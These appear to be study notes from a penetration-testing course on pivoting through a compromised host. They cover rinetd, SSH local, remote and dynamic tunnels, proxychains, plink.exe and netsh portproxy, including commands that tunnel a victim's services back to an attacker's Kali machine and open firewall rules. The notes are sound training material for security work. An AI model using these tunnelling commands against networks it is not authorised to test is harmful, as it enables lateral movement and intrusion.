Port Forwarding
RINETD
Default configuration file:
1 | cat /etc/rinetd.conf |
bind address, bind port: listening address/port connect address/port: destination
1 | # bindadress bindport connectaddress connectport |
forword any connection to port 80 to google
1 | sudo service rinetd restart |
SSH Tunneling
SSH local port forwarding
Senario:
victim1 already compromised, only accpet 8080, 22, 3389 port from outside. victim1 conenct to another subnetwork contains another target. Move tools to victim1 is not eligent and scalable, want to attack from our kali machine
1 | -L local_socket:host:hostport |
1 | In our scenario, we want to forward port 445 (Microsoft networking without NetBIOS) on our Kali |
1 | kali@kali:~$ sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128 |
SSH Remote port forwarding
Senario:
the firewall is blocking inbound TCP port 22 (SSH) connections, so we can’t
SSH into this server from our Internet-connected Kali machine
1 | victim1: ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4 |
forword all 10.11.0.4:2221 request from kali machien to 127.0.0.1:3306
on kali:
1 | kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 2221 |
scan local port will scan target host
SSH Dynamic port forwarding
1 | kali> ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address> |
With the above syntax in mind, we can create a local SOCKS4 application proxy (-N -D) on our
Kali Linux machine on TCP port 8080 (127.0.0.1:8080), which will tunnel all incoming traffic to
any host in the target network, through the compromised Linux machine, which we log into as
student
We can run any network application through HTTP, SOCKS4, and SOCKS5
proxies with the help of ProxyChains
add to /etc/proxychains.conf
1 | socks4 127.0.0.1 8080 |
1 | sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110 |
PLINK.exe
1 | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 |
if it is the first time, it will attmpt to cache the host key and there’s a interactive step y/n
solution:
1 | cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 |
netSH
use netsh to do port forwarding on windows, it is installed on windows by default.
However, for this to work, the Windows system must have the IP Helper service running and IPv6
support must be enabled for the interface we want to use. Fortunately, both are on and enabled
by default on Windows operating systems.
1 | netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110 |
By default, firewall does not allow inbound connection to 4455, however, we have system privilege, we can change the firewall configuration
1 | netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow |
before using smbclient, smb need to be configured with min protocal level = smbv2 and restart
1 | /etc/samba/smb.conf |